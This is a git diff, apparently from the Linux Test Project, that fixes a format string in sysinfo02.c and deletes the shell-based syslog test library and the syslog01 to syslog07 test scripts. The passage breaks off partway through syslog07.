diff --git a/testcases/kernel/syscalls/sysinfo/sysinfo02.c b/testcases/kernel/syscalls/sysinfo/sysinfo02.c
index 678b8f1..7ad0e8b 100644
--- a/testcases/kernel/syscalls/sysinfo/sysinfo02.c
+++ b/testcases/kernel/syscalls/sysinfo/sysinfo02.c
@@ -106,7 +106,7 @@
 				 TEST_ERRNO);
 		} else {
 			/* Test Failed */
-			tst_brkm(TFAIL, cleanup, "sysinfo() Failed, Expected -1"
+			tst_brkm(TFAIL, cleanup, "sysinfo() Failed, Expected -1 "
 				 "returned %d/n", TEST_ERRNO);
 		}
 	}
diff --git a/testcases/kernel/syscalls/syslog/Makefile b/testcases/kernel/syscalls/syslog/Makefile
index f6b1e6a..044619f 100644
--- a/testcases/kernel/syscalls/syslog/Makefile
+++ b/testcases/kernel/syscalls/syslog/Makefile
@@ -5,7 +5,4 @@
 
 include $(top_srcdir)/include/mk/testcases.mk
 
-# Not all of the syslog* files are bourne shell scripts.
-INSTALL_TARGETS		:= syslog0* syslog10 syslog-lib.sh
-
 include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/kernel/syscalls/syslog/syslog-lib.sh b/testcases/kernel/syscalls/syslog/syslog-lib.sh
deleted file mode 100755
index eed501d..0000000
--- a/testcases/kernel/syscalls/syslog/syslog-lib.sh
+++ /dev/null
@@ -1,161 +0,0 @@
-#! /bin/sh
-#
-#  Copyright (c) Linux Test Project, 2010
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-##################################################################
-
-readonly MAILLOG=/var/log/maillog
-
-# Signals to trap.
-readonly TRAP_SIGS="1 2 3 6 11 15"
-
-# configuration file for syslog or syslog-ng
-CONFIG_FILE=""
-
-# rsyslogd .conf specific args.
-RSYSLOG_CONFIG=
-
-# number of seconds to wait for another syslog test to complete
-WAIT_COUNT=60
-
-cleanup()
-{
-	# Reentrant cleanup -> bad. Especially since rsyslogd on Fedora 13
-	# seems to get stuck FOREVER when not running as root. Lame...
-	disable_traps
-	exit_code=$1
-
-	# Restore the previous syslog daemon state.
-	if [ -f "$CONFIG_FILE.ltpback" ]; then
-		if mv "$CONFIG_FILE.ltpback" "$CONFIG_FILE"; then
-			# Make sure that restart_syslog_daemon doesn't loop
-			# back to cleanup again.
-			restart_syslog_daemon "return 1"
-			# Maintain any nonzero exit codes
-			if [ $exit_code -ne $? ]; then
-				exit_code=1
-			fi
-		else
-			exit_code=1
-		fi
-	fi
-
-	exit $exit_code
-}
-
-setup()
-{
-	tst_require_root
-
-	trap '	disable_traps
-		tst_resm TBROK "Testing is terminating due to a signal"
-		cleanup 1' $TRAP_SIGS || exit 1
-
-	if [ "$SYSLOG_DAEMON" = "syslog" ]; then
-		CONFIG_FILE="/etc/syslog.conf"
-	elif [ "$SYSLOG_DAEMON" = "syslog-ng" ]; then
-		CONFIG_FILE="/etc/syslog-ng/syslog-ng.conf"
-	elif [ "$SYSLOG_DAEMON" = "rsyslog" ]; then
-		CONFIG_FILE="/etc/rsyslog.conf"
-		# To cope with systemd-journal, we are looking for either:
-		#   $ModLoad imjournal
-		#   module(load="imjournal"...)
-		# in rsyslog config, and using those settings.
-		if grep -qri '^[^#]*modload.*imjournal' /etc/rsyslog.conf /etc/rsyslog.d/; then
-			RSYSLOG_CONFIG=$(grep -Ehoi "^[^#].*(imjournal|workdirectory).*" -r /etc/rsyslog.conf /etc/rsyslog.d/;
-				echo '$imjournalRatelimitInterval 0'; \
-				echo '$ImjournalIgnorePreviousMessages on';)
-		elif grep -qri '^[^#]*module.*load="imjournal"' /etc/rsyslog.conf /etc/rsyslog.d/; then
-			RSYSLOG_CONFIG=$(grep -Ehoi "^[^#].*workdirectory.*" -r /etc/rsyslog.conf /etc/rsyslog.d/; \
-				echo 'module(load="imjournal"'; \
-				echo '       StateFile="imjournal.state"'; \
-				echo '       Ratelimit.Interval="0"'; \
-				echo '       IgnorePreviousMessages="on")')
-		else
-			RSYSLOG_CONFIG=$(echo '$ModLoad imuxsock.so'; \
-				grep -ho "^\$SystemLogSocketName .*" -r /etc/rsyslog.conf /etc/rsyslog.d/ | head -1)
-		fi
-	else
-		tst_resm TCONF "Couldn't find syslogd, syslog-ng or rsyslogd"
-		cleanup 32
-	fi
-
-	# Back up configuration file
-	if [ -f "$CONFIG_FILE" ]; then
-		# Pause if another LTP syslog test is running
-		while [ -f "$CONFIG_FILE.ltpback" -a $WAIT_COUNT -gt 0 ]; do
-			: $(( WAIT_COUNT -= 1 ))
-			sleep 1
-		done
-		# Oops -- $CONFIG_FILE.ltpback is still there!
-		if [ $WAIT_COUNT -eq 0 ]; then
-			tst_resm TBROK "another syslog test is stuck"
-			cleanup 1
-		elif ! cp "$CONFIG_FILE" "$CONFIG_FILE.ltpback"; then
-			tst_resm TBROK "failed to backup $CONFIG_FILE"
-			cleanup 1
-		fi
-	else
-		tst_resm TBROK "$CONFIG_FILE not found!"
-	fi
-
-}
-
-disable_traps()
-{
-	trap - $TRAP_SIGS
-}
-
-# For most cases this isn't exotic. If you're running upstart however, you
-# might have fun here :).
-restart_syslog_daemon()
-{
-	# Default to running `cleanup 1' when dealing with error cases.
-	if [ $# -eq 0 ]; then
-		cleanup_command="cleanup 1"
-	else
-		cleanup_command=$1
-	fi
-
-	tst_resm TINFO "restarting syslog daemon"
-
-	if [ -n "$SYSLOG_DAEMON" ]; then
-		restart_daemon $SYSLOG_DAEMON
-		if [ $? -eq 0 ]; then
-			# XXX: this really shouldn't exist; if *syslogd isn't
-			# ready once the restart directive has been issued,
-			# then it needs to be fixed.
-			sleep 2
-		else
-			#
-			# Some distributions name the service syslog even if
-			# the package is syslog-ng or rsyslog, so try it once
-			# more with just syslog.
-			#
-			restart_daemon "syslog"
-
-			if [ $? -ne 0 ]; then
-				$cleanup_command
-			fi
-		fi
-	fi
-}
-
-export TST_TOTAL=${TST_TOTAL:=1}
-export TST_COUNT=1
-export TCID=${TCID:="$(basename "$0")"}
-. cmdlib.sh
diff --git a/testcases/kernel/syscalls/syslog/syslog01 b/testcases/kernel/syscalls/syslog/syslog01
deleted file mode 100755
index 2f3aea0..0000000
--- a/testcases/kernel/syscalls/syslog/syslog01
+++ /dev/null
@@ -1,108 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#  02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#			fixed bugs.
-#  07/26/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#			Made changes to account for the replacement of syslogd
-#			with syslog-ng
-#
-##################################################################
-# case1: Test whether messages are logged to the specified file  #
-# in the configuration file.					 #
-#								 #
-# Send messages to syslogd at some level and facility	 	 #
-# and grep for those messages.					 #
-#								 #
-# syslog.conf should contain:					 #
-# *.crit		/usr/adm/critical			 #
-# mail.info		/usr/spool/adm/syslog			 #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case1()
-{
-	tst_resm TINFO "testing whether messages are logged into log file"
-
-	# Create the configuration file specific to this test case.
-
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "*.crit		/var/log/messages" >> $CONFIG_FILE
-		echo "mail.info	$MAILLOG" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); \
-		      udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo "# Added for syslog testcase"  >> $CONFIG_FILE
-		echo "filter f_syslog	 { level(crit);};" >> $CONFIG_FILE
-		echo "filter f_syslogMail { level(info)	and facility(mail); };" >> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog); destination(syslog-messages); };" >> $CONFIG_FILE
-		echo "destination syslog-mail { file(\"$MAILLOG\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslogMail); destination(syslog-mail); };"  >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	# Grepping pattern has to be changed whenever the executable name
-	# changes, ex: syslogtst executable.
-	# This check is neccessary for syslog-ng because $MAILLOG is
-	# only created after syslogtst
-	if [ -e "$MAILLOG" ]; then
-		oldvalue1=`grep -c "syslogtst: mail info test" $MAILLOG`
-	else
-		oldvalue1=0
-	fi
-
-	# Call syslogtst executable with case number as argument
-	if syslogtst 1 2>/dev/null; then
-
-		sleep 2
-
-		if [ ! -e $MAILLOG ]; then
-			tst_resm TBROK "$MAILLOG no such log file"
-			cleanup 1
-		fi
-
-		newvalue1=`grep -c "syslogtst: mail info test" $MAILLOG`
-		if [ "x$(( $newvalue1 - $oldvalue1 ))" != "x1" ]; then
-			status_flag=1
-		fi
-	else
-		status_flag=1
-	fi
-
-}
-
-export TST_TOTAL=1
-export TST_COUNT=1
-export TCID=syslog01
-
-tst_resm TINFO "Send messages to syslogd at some level "
-tst_resm TINFO "and facility and grep for those messages."
-
-setup
-syslog_case1
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog02 b/testcases/kernel/syscalls/syslog/syslog02
deleted file mode 100755
index 2213ce3..0000000
--- a/testcases/kernel/syscalls/syslog/syslog02
+++ /dev/null
@@ -1,111 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#		   fixed bugs.
-# 07/26/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#		   Made changes to account for the replacement of syslogd
-#		   with syslog-ng
-#
-##################################################################
-# case2: Test if messages of all levels are logged.
-#	For each level, a separate configuration file is
-#	created and that will be used as syslog.conf file.
-##################################################################
-
-# Number of levels.
-export TST_TOTAL=8
-
-. syslog-lib.sh || exit 1
-
-syslog_case2()
-{
-	level_no=0
-	levels="emerg alert crit err warning notice info debug"
-	tst_resm TINFO "testing whether messages are logged into log file"
-
-	for level in $levels
-	do
-		tst_resm TINFO "Doing level: $level..."
-
-		case "$CONFIG_FILE" in
-		/etc/syslog.conf)
-			# Create the configuration file specific to this level
-			echo "mail.$level	$MAILLOG" >> $CONFIG_FILE
-			;;
-
-		/etc/rsyslog.conf)
-			# Create the configuration file specific to this level
-			echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-			echo "mail.$level	$MAILLOG" >> $CONFIG_FILE
-			;;
-
-		/etc/syslog-ng/syslog-ng.conf)
-			echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-			echo "filter f_syslog_$level { level($level) and facility(mail); };"  >> $CONFIG_FILE
-			echo "destination syslog-$level { file(\"$MAILLOG\"); };"  >> $CONFIG_FILE
-			echo "log { source(src); filter(f_syslog_$level); destination(syslog-$level); };"  >> $CONFIG_FILE;;
-		esac
-
-		restart_syslog_daemon
-
-		# Grepping pattern has to be changed whenever the executable name
-		# changes, ex: syslogtst executable.
-		# This check is neccessary for syslog-ng because $MAILLOG is
-		# only created after syslogtst
-		if [ -e "$MAILLOG" ]; then
-			oldvalue=`grep -c "syslogtst: mail $level test\." $MAILLOG`
-		else
-			oldvalue=0
-		fi
-
-		# syslogtst has to be called with additional level argument(0-7)
-		if ! syslogtst 2 $level_no 2>/dev/null; then
-			cleanup 1
-		fi
-		sleep 2
-
-		# check if $MAILLOG script exists
-		if [ ! -e "$MAILLOG" ]; then
-			tst_resm TBROK "$MAILLOG no such log file"
-			cleanup 1
-		fi
-
-		newvalue=`grep -c "syslogtst: mail $level test" $MAILLOG`
-		diff=$(( $newvalue - $oldvalue ))
-		if [ $diff -eq 0 ]; then
-			tst_resm TFAIL "***** Level $level failed *****"
-			status_flag=1
-		elif [ $diff -ge 1 ]; then
-			tst_resm TPASS "***** Level $level passed *****"
-		fi
-		# Increment the level_no for next level...
-		: $(( level_no += 1 ))
-
-		incr_tst_count
-	done
-}
-
-tst_resm TINFO "Test if messages of all levels are logged."
-tst_resm TINFO "For each level, a separate configuration file is"
-tst_resm TINFO "created and that will be used as syslog.conf file."
-
-setup
-syslog_case2
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog03 b/testcases/kernel/syscalls/syslog/syslog03
deleted file mode 100755
index 31b7fd6..0000000
--- a/testcases/kernel/syscalls/syslog/syslog03
+++ /dev/null
@@ -1,87 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#			fixed bugs.
-# 07/27/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#		Made changes to account for the replacement of syslogd
-#		with syslog-ng on SLES
-#
-##################################################################
-# case 3: Do openlog(), log the messages and see whether			#
-# ident string is prepended to the message.			 #
-#								 #
-# syslog.conf should contain:					 #
-# *.crit		/usr/adm/critical			 #
-# daemon.info		/usr/spool/adm/syslog			 #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case3()
-{
-	# Create the configuration file specific to this test case.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "daemon.info	/var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo "# Added for syslog testcase"  >> $CONFIG_FILE
-		echo "filter f_syslog_daemon { level(info) and facility(daemon); }; " >> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_daemon); destination(syslog-messages);};"  >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	# Grep for the ident prefix: SYSLOG_CASE3 in the log file.
-	if [ -e /var/log/messages ]; then
-		oldvalue4=`grep -c "SYSLOG_CASE3" /var/log/messages`
-	else
-		oldvalue4=0
-	fi
-
-	if ! syslogtst 3 2>/dev/null; then
-		cleanup 1
-	fi
-	sleep 2
-
-	# check if /var/log/messages exists
-	if [ ! -e /var/log/messages ]; then
-		tst_resm TBROK "/var/log/messages no such log file"
-		cleanup 1
-	fi
-
-	newvalue4=`grep -c "SYSLOG_CASE3" /var/log/messages`
-	if [ "x$(( $newvalue4 - $oldvalue4 ))" != x1 ]; then
-		status_flag=1
-	fi
-}
-
-tst_resm TINFO "Do openlog(), log the messages and see whether"
-tst_resm TINFO "ident string is prepended to the message."
-
-setup
-syslog_case3
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog04 b/testcases/kernel/syscalls/syslog/syslog04
deleted file mode 100755
index d1739d3..0000000
--- a/testcases/kernel/syscalls/syslog/syslog04
+++ /dev/null
@@ -1,84 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#           fixed bugs.
-# 07/27/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#            Made changes to account for the replacement of syslogd
-#            with syslog-ng
-#
-##################################################################
-# case4: Test the logging option: LOG_PID                        #
-#                                                                #
-#        Do openlog() with LOG_PID option and see whether pid    #
-#        is logged with message.                                 #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case4()
-{
-	tst_resm TINFO "Testing the log option: LOG_PID..."
-
-	# Create the configuration file specific to this test case.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "user.info        /var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo "filter f_syslog_user { level(info) and facility(user); };" >> $CONFIG_FILE
-		echo "destination syslog_messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_user); destination(syslog_messages);};"  >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	# Run syslogtst in the background and get the process id.
-	syslogtst 4 2>/dev/null &
-	log_pid=$!
-	if ! wait $log_pid; then
-		cleanup 1
-	fi
-
-	sleep 2
-
-	# check if /var/log/messages script exists
-	if [ ! -e /var/log/messages ]; then
-		tst_resm TBROK "/var/log/messages no such log file"
-		cleanup 1
-	fi
-
-	found=`grep -c "\[$log_pid\]: syslogtst: user info test." /var/log/messages`
-	if [ $found -ne 1 ]; then
-		status_flag=1
-	fi
-}
-
-tst_resm TINFO "case4: Test the logging option: LOG_PID"
-tst_resm TINFO "Do openlog() with LOG_PID option and see whether pid"
-tst_resm TINFO "is logged with message."
-
-setup
-syslog_case4
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog05 b/testcases/kernel/syscalls/syslog/syslog05
deleted file mode 100755
index 40dd1fa..0000000
--- a/testcases/kernel/syscalls/syslog/syslog05
+++ /dev/null
@@ -1,96 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#	  fixed bugs.
-# 07/27/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#	   Made changes to account for the replacement of syslogd
-#	   with syslog-ng
-#
-##################################################################
-# case5: Test the logging option: LOG_CONS			 #
-#	o Do openlog() with LOG_CONS option.		  	 #
-#	o Disable /dev/syslog by moving it to a temporary file	 #
-#	  name.							 #
-#	o Send the syslog message.				 #
-#	o Check whether this is written to the console i.e to	 #
-#	  the file /usr/adm/ktlog/<this year>/<this month>/	 #
-#	  <to_day>						 #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case5()
-{
-	tst_resm TINFO "syslog: Testing the log option: LOG_CONS..."
-
-	# Create the configuration file specific to this test case.
-
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "user.info	/var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo "filter f_syslog_user { level(info)      and facility(user); };" >> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_user); destination(syslog-messages);};" >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	# check if /var/log/messages script exists
-	if [ -e /var/log/messages ]; then
-		oldvalue=`grep -c "syslogtst: info to console test." /var/log/messages`
-	else
-		oldvalue=0
-	fi
-
-	# syslogtst does the disabling of /dev/syslog, sends the message and
-	# enables /dev/syslog.
-	if ! syslogtst 5 2>/dev/null; then
-		cleanup 1
-	fi
-	sleep 2
-
-	# check if /var/log/messages script exists
-	if [ ! -e /var/log/messages ]; then
-		tst_resm TBROK "/var/log/messages no such log file"
-		cleanup 1
-	fi
-	newvalue=`grep -c "syslogtst: info to console test." /var/log/messages`
-
-	if [ "x$(( $newvalue - $oldvalue ))" != "x1" ]; then
-		status_flag=1
-	fi
-}
-
-tst_resm TINFO " case5: Test the logging option: LOG_CONS"
-tst_resm TINFO " o Do openlog() with LOG_CONS option."
-tst_resm TINFO " o Disable /dev/syslog by moving it to a temporary file name."
-tst_resm TINFO " o Send the syslog message."
-tst_resm TINFO " o Check whether this is written to the console i.e to"
-tst_resm TINFO "   the file /usr/adm/ktlog/<this year>/<this month>/<to_day>"
-
-setup
-syslog_case5
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog06 b/testcases/kernel/syscalls/syslog/syslog06
deleted file mode 100755
index 7050fd2..0000000
--- a/testcases/kernel/syscalls/syslog/syslog06
+++ /dev/null
@@ -1,76 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#           fixed bugs.
-# 07/27/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#           Made changes to account for the replacement of syslogd
-#           with syslog-ng on SLES
-#
-##################################################################
-# case 6: Test the logging option: LOG_NDELAY                    #
-#                                                                #
-#         o Do openlog() without LOG_NDELAY option.              #
-#         o open a file and check the returned file descriptor   #
-#           It should be 3.                                      #
-#         o Now do openlog() with LOG_NDELAY option.             #
-#         o open a file and check the returned file descriptor.  #
-#           It should be greater than 3.                         #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case6()
-{
-	tst_resm TINFO "syslog: Testing the log option: LOG_NDELAY..."
-
-	# Create the configuration file specific to this test case.
-	# For this case, it's a dummy one. No use of it.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-		echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-		echo "user.info        /var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo "filter f_syslog_user { level(info) and facility(user); };">> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_user); destination(syslog-messages);};" >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	if ! syslogtst 6 2>/dev/null; then
-		status_flag=1
-	fi
-}
-
-tst_resm TINFO " Test the logging option: LOG_NDELAY"
-tst_resm TINFO " o Do openlog() without LOG_NDELAY option."
-tst_resm TINFO " o open a file and check the returned file descriptor"
-tst_resm TINFO "   It should be 3."
-tst_resm TINFO " o Now do openlog() with LOG_NDELAY option."
-tst_resm TINFO " o open a file and check the returned file descriptor."
-tst_resm TINFO "   It should be greater than 3."
-
-setup
-syslog_case6
-cleanup ${status_flag:=0}
diff --git a/testcases/kernel/syscalls/syslog/syslog07 b/testcases/kernel/syscalls/syslog/syslog07
deleted file mode 100755
index a24c3e2..0000000
--- a/testcases/kernel/syscalls/syslog/syslog07
+++ /dev/null
@@ -1,128 +0,0 @@
-#! /bin/sh
-
-#  Copyright (c) International Business Machines  Corp., 2002
-#
-#  This program is free software;  you can redistribute it and/or modify
-#  it under the terms of the GNU General Public License as published by
-#  the Free Software Foundation; either version 2 of the License, or
-#  (at your option) any later version.
-#
-#  This program is distributed in the hope that it will be useful,
-#  but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#  the GNU General Public License for more details.
-#
-#  You should have received a copy of the GNU General Public License
-#  along with this program;  if not, write to the Free Software
-#  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-
-# 12/05/02  Port to bash -Robbie Williamson <robbiew@us.ibm.com>
-# 02/05/03  Modified - Manoj Iyer <manjo@mail.utexas.edu> use USCTEST macros
-#           fixed bugs.
-# 07/26/05  Michael Reed  <mreedltp@vnet.ibm.com>
-#           Made changes to account for the replacement of syslogd
-#           with syslog-ng
-#
-##################################################################
-# case 7: Test the priorities....                                #
-#                                                                #
-#         o Add lowest prority level i.e debug level entry to    #
-#           configuration file.                                  #
-#           o For syslog-ng the priority is set to all           #
-#             because of the format of syslog-ng.conf            #
-#             The format of the tests is the same, all levels of #
-#             debug and above are logged                         #
-#         o Send syslog messages at all levels and see whether   #
-#           higher level messages are logged.                    #
-##################################################################
-
-. syslog-lib.sh || exit 1
-
-syslog_case7()
-{
-	tst_resm TINFO "testing syslog priorities ..."
-
-	# Adds some clarification of log message when syslog-ng is used
-	if [ $CONFIG_FILE = /etc/syslog.conf ]; then
-		explanation="Higher"
-	else
-		explanation="All"
-	fi
-
-	tst_resm TINFO " o Send syslog messages at all levels and see whether"
-	tst_resm TINFO "   $explanation level messages are logged."
-
-	# Create the configuration file specific to this test case.
-	case "$CONFIG_FILE" in
-	/etc/syslog.conf|/etc/rsyslog.conf)
-	        echo "$RSYSLOG_CONFIG" > $CONFIG_FILE
-	        echo "user.debug /var/log/messages" >> $CONFIG_FILE
-		;;
-
-	/etc/syslog-ng/syslog-ng.conf)
-		echo "source src{ internal(); unix-dgram(\"/dev/log\"); udp(ip(\"0.0.0.0\") port(514)); };" > $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo " " >> $CONFIG_FILE
-		echo "# Added for syslog testcase" >> $CONFIG_FILE
-		echo "filter f_syslog_messages {facility(user); };" >> $CONFIG_FILE
-		echo "destination syslog-messages { file(\"/var/log/messages\");};" >> $CONFIG_FILE
-		echo "log { source(src); filter(f_syslog_messages); destination(syslog-messages); };" >> $CONFIG_FILE
-		;;
-	esac
-
-	restart_syslog_daemon
-
-	if [ -e /var/log/messages ]; then
-		emerg_old=`grep -c "syslogtst: emergency log" /var/log/messages`
